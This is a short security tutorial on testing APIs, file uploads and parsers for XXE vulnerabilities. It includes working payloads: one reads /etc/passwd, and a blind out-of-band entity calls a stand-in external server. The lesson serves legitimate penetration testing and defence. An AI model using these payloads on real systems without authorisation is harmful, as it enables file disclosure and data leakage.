Testing for XXE Vulnerabilities
What you'll learn: You'll discover practical methods to probe APIs, file parsers, and document processors for XXE weaknesses before attackers do.
Now that you understand XXE attacks and defenses, it's time to learn how to test whether a system is vulnerable — a critical skill for security assessments and penetration testing.
Where to Look for XXE
XXE vulnerabilities hide in any feature that accepts and parses XML data:
- API endpoints that accept XML input (REST/SOAP services)
- File upload forms that process XML-based formats (SVG, DOCX, XLSX, PPTX)
- Configuration file imports (XML settings, backup files)
- RSS/Atom feed parsers
- Document conversion services (PDF generators, image processors)
Basic Testing Workflow
1. Identify XML Input Points
Intercept requests with Burp Suite or similar tools. Look for Content-Type: application/xml headers or XML payloads.
2. Test for Classic XXE (File Disclosure)
Inject a payload like:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>
3. Test for Blind XXE (Out-of-Band)
If responses don't reflect data, use DNS/HTTP callbacks:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://yourserver.com/xxe-test">]>
4. Test File Upload Vectors
Upload SVG images or Office documents containing XXE payloads — parsers often process embedded XML without user awareness.
5. Check Content-Type Manipulation
Change JSON endpoints to XML by altering headers — some parsers auto-detect format.
Testing Tools
Manual browser/Burp testing is most reliable, but automated scanners like Burp's Active Scanner and OWASP ZAP can detect common patterns.
Key Takeaway: XXE testing requires probing every XML processing point with classic, blind, and file-based payloads — attackers target forgotten parsers in upload and API features most often.